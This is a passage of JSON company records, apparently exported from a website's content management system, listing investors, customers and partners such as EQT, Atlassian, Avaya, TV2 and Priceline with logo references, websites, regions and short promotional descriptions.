logo","asset":{"_ref":"image-517311d1ec5f510eb94f32c1d2280fa8421036de-224x110-jpg","_type":"reference"}},"companyName":"Big Start Ventures","companyWebsite":"https://www.bigstart.vc","logoHeight":40} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"5p1t6uquWp3dWG9MhRypkW","_rev":"STwkGY00NBjXpkjjM1pDWV","_type":"company","_updatedAt":"2022-09-14T11:14:48Z","companyLogo":{"alt":"First Fellow Partners logo","asset":{"_ref":"image-0a68ed519b14f8e366b65f579b3686d1bd23bcee-300x300-png","_type":"reference"}},"companyName":"First Fellow","companyWebsite":"http://www.firstfellow.com/","logoHeight":50} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"18xvST8FIifVoDTC2BR3A3","_rev":"PMq0xitQ26NszJZ6mX1998","_type":"company","_updatedAt":"2022-09-14T11:14:17Z","companyLogo":{"alt":"EQT logo","asset":{"_ref":"image-a8ee34b296ca1b58233e4613b08fdd1b48828ace-100x31-png","_type":"reference"}},"companyName":"EQT","companyWebsite":"https://eqtgroup.com","logoHeight":25} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"5utWlioOZrHNbIEqvk34Pn","_rev":"NQmZ8r2evnRSWxI4aiKvIx","_type":"company","_updatedAt":"2022-10-07T09:20:00Z","companyLogo":{"alt":"Atlassian","asset":{"_ref":"image-cad48156d27dd2fff67b3bf1aebbe8cba826e1d0-153x19-svg","_type":"reference"}},"companyName":"Atlassian","companyWebsite":"https://www.atlassian.com/","logoHeight":25} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"5JHOJe3aKm2RvsAWKqk6C4","_rev":"NQmZ8r2evnRSWxI4ajc1MJ","_type":"company","_updatedAt":"2022-10-08T10:12:24Z","companyLogo":{"alt":"Cherry Ventures logo","asset":{"_ref":"image-4255929ed463af52f29b4cfe882dc4cb34195ece-102x142-png","_type":"reference"}},"companyName":"Cherry Ventures","companyWebsite":"https://www.cherry.vc","logoHeight":60} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"1NDEQe1KkqOH6gFaab75vN","_rev":"pnOvEyahjeT2Gte9fknXY3","_type":"company","_updatedAt":"2023-02-02T17:29:17Z","companyLogo":{"alt":"World Innovation Lab logo","asset":{"_ref":"image-e104f9e90d19e98634324b91812b4ec229257c7b-100x80-png","_type":"reference"}},"companyName":"World Innovation Lab","companyWebsite":"https://wilab.com/","logoHeight":50} {"_createdAt":"2023-03-21T15:16:10Z","_id":"cb57b79b-e01f-4474-aedd-63d5ff23067f","_rev":"1oHBwgBQDb4TFd5EY2tFZx","_type":"company","_updatedAt":"2023-03-21T15:16:56Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-eb307b22e1ac2a9ee4e17e40fa4c52ad01f19960-800x638-png","_type":"reference"}},"companyName":"Torino Cities of the Future techstars_ Accelerator","companyWebsite":"https://www.techstars.com/accelerators/cities-of-the-future","logoHeight":70} {"_createdAt":"2023-05-08T14:25:42Z","_id":"efd1c5e9-3555-4c4e-a3f5-3bfafaa4b593","_rev":"GhNwFaTAL1WgSe2HZsrBjl","_type":"company","_updatedAt":"2023-05-08T14:25:42Z","companyLogo":{"_type":"mainImage","alt":"HV Capital Logo","asset":{"_ref":"image-2ad70ac2cf2d42a9d652a00c0151e9e93f44c8d4-614x614-png","_type":"reference"}},"companyName":"HV Capital","companyWebsite":"https://www.hvcapital.com/","logoHeight":48} {"_createdAt":"2023-05-17T15:03:31Z","_id":"07cd61ed-118f-4ee2-9305-49fb9daa6829","_rev":"THDGXgbtbTWNUZ8wy0DzwZ","_type":"company","_updatedAt":"2023-05-17T15:03:31Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-e35ea5d0574b6aa82ce39a089aa6c12dd248618a-602x241-png","_type":"reference"}},"companyName":"ISAI","companyWebsite":"https://www.isai.fr/","logoHeight":48} {"_createdAt":"2023-06-15T12:52:56Z","_id":"99515ead-1307-4009-b0dc-977f7b2333b2","_rev":"tW7kMBSHIbCIaN9dzYkRy1","_type":"company","_updatedAt":"2023-06-15T12:52:56Z","companyLogo":{"_type":"mainImage","alt":"FiBAN Logo","asset":{"_ref":"image-1fadcc1404250121b088fbe8d0318b488825adb5-1772x710-png","_type":"reference"}},"companyName":"FiBAN","companyWebsite":"https://fiban.org/","logoHeight":48} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"59yXqJZsa9ReYDevSgZICT","_rev":"7zkUzK17nyKradHQJNSeP7","_type":"company","_updatedAt":"2023-05-17T13:27:31Z","companyLogo":{"alt":"","asset":{"_ref":"image-90c1f3c2abff133290dd0ab790a948d39d7e949e-750x207-svg","_type":"reference"}},"companyName":"Toyota","companyWebsite":"https://www.toyota.com/","logoHeight":44} {"_createdAt":"2023-06-06T09:18:49Z","_id":"7d2b8612-eb10-4985-94f5-0c46a90668cb","_rev":"rV9BZDYEBgQp95tIyQMQBd","_type":"company","_updatedAt":"2023-06-06T09:18:49Z","companyLogo":{"_type":"mainImage","alt":"RevRoad Logo","asset":{"_ref":"image-31c1999ee5790453dae3f2ac4656c375ea2fb30e-3000x660-png","_type":"reference"}},"companyName":"RevRoad","companyWebsite":"https://www.revroad.com/","logoHeight":48} {"_createdAt":"2023-05-08T12:23:47Z","_id":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_rev":"hmQk1VtzwG7nr0256MmkT0","_type":"company","_updatedAt":"2023-06-05T12:32:29Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182-png","_type":"reference"}},"companyName":"Supermetrics","companySize":320,"logoHeight":48,"tags":[{"_key":"2ec87755f378","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"}],"yearFounded":2013} {"_createdAt":"2023-05-23T08:36:57Z","_id":"e113e6c8-2055-4a86-b704-1d6f74f4662a","_rev":"4JMA3H9bBgAwAcyypYmu3z","_type":"company","_updatedAt":"2023-05-23T08:36:57Z","companyLogo":{"_type":"mainImage","alt":"Project A logo","asset":{"_ref":"image-bf45a00161069305de05ab1315bbdfd96fffc444-200x200-jpg","_type":"reference"}},"companyName":"Project A","companyWebsite":"https://www.project-a.com/","logoHeight":48} {"_createdAt":"2023-06-13T11:20:34Z","_id":"d5bb5d8c-aa7d-4c8c-baf0-15627507081d","_rev":"tW7kMBSHIbCIaN9dzIvRnc","_type":"company","_updatedAt":"2023-06-13T11:20:34Z","companyLogo":{"_type":"mainImage","alt":"Hummingbird logo","asset":{"_ref":"image-30e449de0f1c2bb87f37dd65153adf5e6657ba74-1920x686-png","_type":"reference"}},"companyName":"Hummingbird","companyWebsite":"https://www.hummingbird.vc/","logoHeight":48} {"_createdAt":"2023-06-15T12:51:26Z","_id":"4d1ab92f-7094-470b-8d8d-322bb18a9292","_rev":"kqzyZ7JVpCO5nNERnMgOGs","_type":"company","_updatedAt":"2023-06-30T15:50:41Z","companyLogo":{"_type":"mainImage","alt":"Karma VC logo","asset":{"_ref":"image-f3d284bbd016491da2f5fb6398fb12765774b475-1549x313-png","_type":"reference"}},"companyName":"Karma","companyWebsite":"https://www.karma.vc/","logoHeight":30} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"rJC6Thoe9tosgYGZna3t6","_rev":"Q21J3pgWoUWkhUhtSonD95","_type":"company","_updatedAt":"2023-07-21T09:08:42Z","companyLogo":{"alt":"bare logo","asset":{"_ref":"image-24243b6af11f6ac6d8d07c329de09e902cfe8173-595x97-svg","_type":"reference"}},"companyName":"GoTo Financial","companyWebsite":"https://gotofinancial.gotocompany.com/","hostProviders":[{"_key":"2303ef1fa88c","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":40,"region":"APAC","tags":[{"_key":"a15f02952a5a","_ref":"ba0ccef8-edb6-431b-a082-f13df38fb842","_type":"reference"},{"_key":"c8b6cbf9242f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":2010} {"_createdAt":"2023-06-28T09:48:59Z","_id":"cd60cf17-ec78-49b5-9546-f0b7006adb42","_rev":"vLPPjjcbeECFTbnAfvadVn","_type":"company","_updatedAt":"2023-06-28T09:48:59Z","companyLogo":{"_type":"mainImage","alt":"Chemovator logo","asset":{"_ref":"image-b9aa633b47bd4f32828129dd4a13d58f1bd26091-592x592-tif","_type":"reference"}},"companyName":"Chemovator","companyWebsite":"https://www.chemovator.com/","logoHeight":48} {"_createdAt":"2023-05-17T15:04:47Z","_id":"ef5f2b01-4cd5-4b03-b0d0-97a309e1c498","_rev":"rV9BZDYEBgQp95tIyQZUZ9","_type":"company","_updatedAt":"2023-06-06T10:04:53Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-2f5b35c85acde0ae6f89c14f5be6d96e80bb85f9-650x240-png","_type":"reference"}},"companyName":"Underline Ventures","companyWebsite":"https://underline.vc/","logoHeight":45} {"_createdAt":"2023-07-07T09:21:28Z","_id":"0faf4e3f-57db-4bb8-8a4e-2c027e8cf059","_rev":"FQJzLzBZEnr4ZD7D3t9Abn","_type":"company","_updatedAt":"2023-07-07T09:22:20Z","companyLogo":{"_type":"mainImage","alt":"Logo Target Global","asset":{"_ref":"image-2d976c2d85f7d4d561d61e68ac29bf4598011c58-463x60-png","_type":"reference"}},"companyName":"Target Global","companyWebsite":"https://www.targetglobal.vc/","logoHeight":34} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"tobLYh2MZdZsk3Hke3PqK","_rev":"Q21J3pgWoUWkhUhtSonEGL","_type":"company","_updatedAt":"2023-07-21T09:11:48Z","companyLogo":{"alt":"Ometria logo","asset":{"_ref":"image-5421254480fd00a5d9d01c864e0cded9721ee593-126x35-svg","_type":"reference"}},"companyName":"Ometria","companySize":200,"companyWebsite":"https://ometria.com/","hostProviders":[{"_key":"2d40efbce397","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"region":"EMEA","tags":[{"_key":"4512adc81c0c","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"fd0eb3a92f9a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"e0446321f86b","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"6f1c180bdb88","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"yearFounded":2013} {"_createdAt":"2023-10-19T13:03:07Z","_id":"d3621e84-f1a2-41c1-bf9b-e92e70b231ef","_rev":"kfl1F24L65Nzg04H5IJwEc","_type":"company","_updatedAt":"2023-10-19T13:03:07Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-4f089ddbcdfc599321db97f3ac65914fd1dc1f3f-1500x378-png","_type":"reference"}},"companyName":"Revenir","companyWebsite":"https://www.revenir.ai/","logoHeight":48,"region":"EMEA"} {"_createdAt":"2024-09-05T22:03:42Z","_id":"b95ad181-f12d-4911-be6b-d5a26e5a54af","_rev":"AE3hjGWNkNE6aGQMMbD9C7","_type":"company","_updatedAt":"2024-09-05T22:11:18Z","companyDescription":[{"_key":"624e8e4fec72","_type":"block","children":[{"_key":"e74318d3f01c0","_type":"span","marks":[],"text":"Workorb is building AI powered solutions purpose-built for the AEC (Architecture, Engineering and Construction) industry."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-8dfa6b8d14a2b51885f8eb980f85f2c72f102b77-500x103-png","_type":"reference"}},"companyName":"workOrb","companyWebsite":"https://www.workorb.ai/","logoHeight":48,"region":"AMER","tags":[{"_key":"042869d76300","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}]} {"_createdAt":"2024-03-13T08:50:32Z","_id":"8775d948-c5a8-4474-ad75-d216dce3f592","_rev":"2QvLnXP36WAnQ13A3nonsS","_type":"company","_updatedAt":"2024-03-13T12:54:19Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-b004717a225c385aeb2fb56c4c20185277bea2ca-490x488-png","_type":"reference"}},"companyName":"PostgreSQL","companyWebsite":"https://www.postgresql.org/","logoHeight":70} {"_createdAt":"2024-03-21T10:51:39Z","_id":"4644d4a3-a61a-4db9-bf03-b7babe517790","_rev":"GcS0B1Rw1v9Sxzfp9vKtpL","_type":"company","_updatedAt":"2024-03-21T10:51:39Z","companyLogo":{"_type":"mainImage","alt":"Pitchdrive logo","asset":{"_ref":"image-8aa3fc3aa8b05f4ccc78de654a8169fd791388bd-800x200-png","_type":"reference"}},"companyName":"Pitchdrive","companyWebsite":"https://www.pitchdrive.com/","logoHeight":55} {"_createdAt":"2024-03-25T16:06:19Z","_id":"2ad302ea-5565-4403-b917-4b9fc0a3f53b","_rev":"ufDkV2u6FBQU7CTzXBZpbt","_type":"company","_updatedAt":"2024-03-28T07:25:24Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-2721b5fcee7c1c96abce1e001d32c2ed04a5a2e4-1146x148-png","_type":"reference"}},"companyName":"Nutanix","logoHeight":30} {"_createdAt":"2024-02-26T13:13:52Z","_id":"09fcf866-7ccb-4751-962f-4c28b4312a52","_rev":"6Tmq0Usbhno9jPxna4RDMD","_type":"company","_updatedAt":"2024-02-26T13:13:52Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-5bced2482dcafe8e27391f2413d65249962b0aa5-1201x163-png","_type":"reference"}},"companyName":"Boldstart","companyWebsite":"https://boldstart.vc/","logoHeight":48} {"_createdAt":"2024-01-26T12:36:52Z","_id":"84b10f5e-408f-4d38-a01a-fed765bcefc3","_rev":"lhvtNBOlLYH5KiQFQ5mAJb","_type":"company","_updatedAt":"2024-01-26T12:53:16Z","companyDescription":[{"_key":"63cff2356e5a","_type":"block","children":[{"_key":"22cd316a465e","_type":"span","marks":[],"text":"Helthjem is one of the biggest distribution and delivery services in Norway. It is part of media giant Schibsted Norway and collects and delivers more than 13 million packages across Norway every single day."}],"markDefs":[],"style":"normal"},{"_key":"9fb7ce2df9a5","_type":"block","children":[{"_key":"59e9343f0110","_type":"span","marks":[],"text":"Since it was founded in 2015 it has quickly become one of Norway’s largest privately owned companies in the distribution of online shopping packages. Today Helthjem has a market share of approximately 15%."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-b2769c0911c371542f20754aa77a70ec3b9ec654-1920x495-png","_type":"reference"}},"companyName":"Helthjem","companyWebsite":"https://helthjem.no/","hostProviders":[{"_key":"d7244e2f3be3","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":48,"region":"EMEA","tags":[{"_key":"3d112bcbf834","_ref":"12ad0420-837b-42cb-9631-2009792d0d75","_type":"reference"},{"_key":"d80776d3b5a8","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"yearFounded":2015} {"_createdAt":"2023-11-07T08:25:30Z","_id":"540d62ad-dad5-4a28-9c54-94f436709b92","_rev":"TpAoe0ZPYnVPmPAgmZ9l1C","_type":"company","_updatedAt":"2024-05-07T08:00:41Z","companyDescription":[{"_key":"1a5464dbc7a0","_type":"block","children":[{"_key":"067041b6ec300","_type":"span","marks":[],"text":"Businesses are built by the experiences they provide, and every day, millions of those experiences are delivered by "},{"_key":"2e02cd579500","_type":"span","marks":["f7b3a046be79"],"text":"Avaya"},{"_key":"9282c3ddb434","_type":"span","marks":[],"text":". Organizations trust Avaya to provide innovative solutions for some of their most important ​ambitions and ​challenges,​ ​giving them the freedom to engage their customers and employees in ways that deliver the greatest business benefits. Avaya contact center and communications solutions power immersive, personalized, and unforgettable customer experiences that drive business momentum. With the freedom to choose their journey, there’s no limit to the experiences Avaya customers can create. "}],"markDefs":[{"_key":"f7b3a046be79","_type":"link","href":"https://www.avaya.com/"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-d8c2c332fc130185ddcd23a9db19888529982e0a-1200x343-png","_type":"reference"}},"companyName":"Avaya","companySize":8000,"companyWebsite":"https://www.avaya.com/","hostProviders":[{"_key":"11b765f4d57d","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"logoHeight":38,"region":"AMER","tags":[{"_key":"193e1e30a2c3","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"94e39d9d2a4f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"f0faf75b2fa4","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"yearFounded":2000} {"_createdAt":"2024-03-04T16:31:27Z","_id":"783ad1cc-c1df-4b0d-a30f-749167f0eacb","_rev":"XLEaM1ZFR5SqX0P1751xWf","_type":"company","_updatedAt":"2024-03-05T10:25:47Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-3f277df47d3106ee21ffec73f39e824136571507-454x100-svg","_type":"reference"}},"companyName":"Sway.AI","companyWebsite":"https://sway-ai.com/","logoHeight":48} {"_createdAt":"2024-01-15T10:29:50Z","_id":"60a4a615-afc0-423a-90fa-6278ab73aaad","_rev":"KFPdjtNswOAQxKendZB9gD","_type":"company","_updatedAt":"2024-12-12T14:51:58Z","companyDescription":{"_type":"localeText","en":"Founded in 1991, TV 2 is a Norwegian terrestrial television channel. Its headquarters are located in Bergen. TV 2 began test broadcasting, and a year later, it was officially launched and became Norway's first commercial free-to-air television channel."},"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-3c591db4ced8d4a6b261f9512e556817a2cd6a01-4000x4549-png","_type":"reference"}},"companyName":"TV2","companyWebsite":"https://www.tv2.no/","hostProviders":[{"_key":"d6ed0bf6ba3a","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"adac841435f2","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":48,"region":"EMEA","tags":[{"_key":"525cc5e8e13d","_ref":"eb651a73-878c-40eb-9a1b-fc97248d1eba","_type":"reference"},{"_key":"c4c07b22cf92","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"b398fffecc7d","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},{"_key":"b0e557f82654","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"869b28948011","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"e6c30a40f7b9","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"74271f5c1083","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},{"_key":"d47e2a633d0f","_ref":"62cedd51-63b9-476e-8e2e-9076cef60562","_type":"reference"}],"yearFounded":1991} {"_createdAt":"2023-02-16T09:43:54Z","_id":"689cb493-1e77-4232-b6ee-f9bef6a83582","_rev":"Q21J3pgWoUWkhUhtSonDd7","_type":"company","_updatedAt":"2023-07-21T09:09:50Z","companyDescription":[{"_key":"b3eb5cec6af8","_type":"block","children":[{"_key":"47b4ef47f7220","_type":"span","marks":["6f16c71c4d71"],"text":"Priceline"},{"_key":"60f2ff2ef419","_type":"span","marks":[],"text":", part of Booking Holdings, is a global provider of online travel. Based in the United States, its mission is to be the best travel dealmaker in the world to enable travelers to be there for the moments that matter. For Priceline, every trip is a big deal."}],"markDefs":[{"_key":"6f16c71c4d71","_type":"link","href":"https://www.priceline.com"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","alt":"Priceline logo","asset":{"_ref":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_type":"reference"}},"companyName":"Priceline","companySize":1200,"companyWebsite":"https://www.priceline.com","hostProviders":[{"_key":"a3119eed30f2","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":38,"region":"AMER","tags":[{"_key":"bc47f26fa63f","_ref":"574f38f9-8dd6-4a61-91bd-c5162fb13ee6","_type":"reference"},{"_key":"248dc7875c63","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":1997} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"6GJ40Ot55M7Mjo2dZShy1Q","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-e1387946c289643ec41f668f4f5679c68e7222d1-132x30-svg","_type":"reference"}},"companyName":"Brandwatch","companyWebsite":"https://www.brandwatch.com/"} {"_createdAt":"2024-03-26T16:07:08Z","_id":"116682c4-b184-4136-9c82-2dc7e4fe5d28","_rev":"bFty0MH5z9veaxlWJDtXRG","_type":"company","_updatedAt":"2024-03-26T16:11:05Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-6d3cce7c3e691fb204b9859af3a962d601419abf-1228x150-png","_type":"reference"}},"companyName":"AWS Marketplace","companyWebsite":"https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b","logoHeight":30} {"_createdAt":"2023-11-23T15:10:50Z","_id":"13b5d9a5-b624-430a-ab70-20c297171752","_rev":"Arp4NzaYseKQ5hw9dgAcyS","_type":"company","_updatedAt":"2023-11-23T15:10:50Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-7aa24a8b7ad4dd6a03292edaaff757a60638f599-43x33-svg","_type":"reference"}},"companyName":"Digital Ocean","logoHeight":48} {"_createdAt":"2024-03-13T12:58:10Z","_id":"19ac3413-ab3c-487c-8d6d-61d5870f393d","_rev":"2QvLnXP36WAnQ13A3nqJlw","_type":"company","_updatedAt":"2024-03-13T12:58:10Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-9baa7574fa6eb0010f233e783909d19db02ebdf6-2545x383-png","_type":"reference"}},"companyName":"ClickHouse","companyWebsite":"https://clickhouse.com/","logoHeight":30} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"1K7aVATqg7aFqES2ev7Nif","_rev":"PMq0xitQ26NszJZ6mX0GCH","_type":"company","_updatedAt":"2022-09-14T11:04:27Z","companyLogo":{"alt":"","asset":{"_ref":"image-ebd332b72fdd03c89b7bc70067a2a9bf1d87a482-272x230-png","_type":"reference"}},"companyName":"Lifeline Ventures","companyWebsite":"https://www.lifelineventures.com/","logoHeight":45} {"_createdAt":"2023-10-19T09:09:26Z","_id":"1f7b614c-485c-4d2c-901c-46d911d2fadc","_rev":"zE08g5Yj02ino50zLdcoVi","_type":"company","_updatedAt":"2023-10-19T09:13:48Z","companyLogo":{"_type":"mainImage","alt":"Metaplanet logo","asset":{"_ref":"image-e8b71347733a02f340bf2973f17deee19d224307-1695x300-png","_type":"reference"}},"companyName":"Metaplanet","companyWebsite":"https://metaplanet.com/","logoHeight":40} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"1tgo4OSrbPUKgqmgtCrNgr","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-b11662fc2c57f456870b656d04175ace409720b9-86x30-svg","_type":"reference"}},"companyName":"Kahoot","companyWebsite":"https://getkahoot.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"1xB911hUQdl2HjCu1UbqfE","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"Innovation Quater logo","asset":{"_ref":"image-fefd4000dd258618c4feb086f5c521c26d3344de-222x128-png","_type":"reference"}},"companyName":"Innovation Quater","companyWebsite":"https://www.innovationquarter.nl/investeren/"} {"__i18n_lang":"en","_createdAt":"2022-05-31T07:06:55Z","_id":"2620044b-8e56-465a-8884-c8c316df6cc2","_rev":"Q21J3pgWoUWkhUhtSonEMT","_type":"company","_updatedAt":"2023-07-21T09:12:04Z","companyLogo":{"_type":"mainImage","alt":"Catalyst logo","asset":{"_ref":"image-a27a75c6f4c6bea9dea546d78e7f3c20ed607b9a-983x241-svg","_type":"reference"}},"companyName":"Catalyst","companySize":90,"companyWebsite":"https://catalyst.io/","hostProviders":[{"_key":"dd0ace7f6a28","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":44,"region":"AMER","tags":[{"_key":"9d87d0021709","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"43ae1b6eec20","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"yearFounded":2017} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"28GKW9ngmyP1nDSo1SJdIv","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"Inventure logo","asset":{"_ref":"image-d32121be81658467e03f415916341096021a611c-342x96-png","_type":"reference"}},"companyName":"Inventure","companyWebsite":"https://inventure.vc/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"2HMnCLiHZCCZlP60hpMgXA","_rev":"on5KSabgAN0raW406Y56Rg","_type":"company","_updatedAt":"2024-02-08T15:00:03Z","companyLogo":{"alt":"Comcast","asset":{"_ref":"image-1c67eaac8f8740b784efb116d89aadb9d3dfd1b7-130x46-svg","_type":"reference"}},"companyName":"(DON'T USE CHURNED) Comcast","companySize":10000,"companyWebsite":"https://corporate.comcast.com/","hostProviders":[{"_key":"ac14d554d26a","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"region":"AMER","tags":[{"_key":"8e174d399e99","_ref":"21893a68-7c84-4a28-8288-fea5434d27dc","_type":"reference"},{"_key":"fd103597eaf6","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"6afb59f86e77","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"yearFounded":1963} {"_createdAt":"2024-03-25T16:07:49Z","_id":"2b3bb4b9-a304-4776-9846-b609b56ae29d","_rev":"Y34ePYFQ489qDVybEK0VTn","_type":"company","_updatedAt":"2024-03-25T16:07:49Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-dc5d7b805ea5bfe5ac37dd6a3460234c16922b5d-843x229-jpg","_type":"reference"}},"companyName":"Feature.fm","logoHeight":48} {"_createdAt":"2023-05-02T06:48:03Z","_id":"2d7a89d6-3449-4fd3-b8ac-9fee4dc36662","_rev":"XPsPxQ3o95dhiSIpxGS1SM","_type":"company","_updatedAt":"2023-08-15T12:58:33Z","companyDescription":[{"_key":"8105352d0b25","_type":"block","children":[{"_key":"06362ac0bda00","_type":"span","marks":[],"text":"As Australia’s first comprehensive social media archiving and engagement service, Brolly’s purpose is to help customers archive their digital-born records securely, and efficiently in accordance with industry compliance regulations. Brolly works with customers of any size; however, its solutions are ideal for regulated industries like banks, insurers, healthcare providers, educators, and Government organisations, where compliance is critical."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-df34debae25f86ef8745773b2fa6a53aacb597c2-366x368-png","_type":"reference"}},"companyName":"Brolly","companyWebsite":"https://brolly.com.au/","hostProviders":[{"_key":"196cef77d142","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":48,"region":"APAC","tags":[{"_key":"4d81b0720a8b","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"eab0ad5f3686","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"9827d79ba3f8","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"}],"yearFounded":2014} {"_createdAt":"2023-11-20T09:13:44Z","_id":"2f35c3c4-1a7a-4209-9e71-22c872dad7a4","_rev":"00HkATqwml6aoQnrNzFFLL","_type":"company","_updatedAt":"2023-11-20T09:13:44Z","companyLogo":{"_type":"mainImage","alt":"1517 logo","asset":{"_ref":"image-54ebe2e976cf1f4bc9c78b1bfa6323053bebbde2-500x270-png","_type":"reference"}},"companyName":"1517","companyWebsite":"https://www.1517fund.com/","logoHeight":48} {"_createdAt":"2023-05-08T11:07:21Z","_id":"2fe63ad6-b75e-45dc-8d09-ddcfe0e93f72","_rev":"Q21J3pgWoUWkhUhtSonG1R","_type":"company","_updatedAt":"2023-07-21T09:16:26Z","companyDescription":[{"_key":"3dba21247758","_type":"block","children":[{"_key":"e26df65d345a0","_type":"span","marks":["6e2888c2cc83"],"text":"Simplilearn"},{"_key":"df1350cf435c","_type":"span","marks":[],"text":" is the world’s #1 online bootcamp and one of the world’s leading certification training providers. Simplilearn partners with companies and individuals to address their unique needs, providing training and coaching that helps working professionals achieve their career 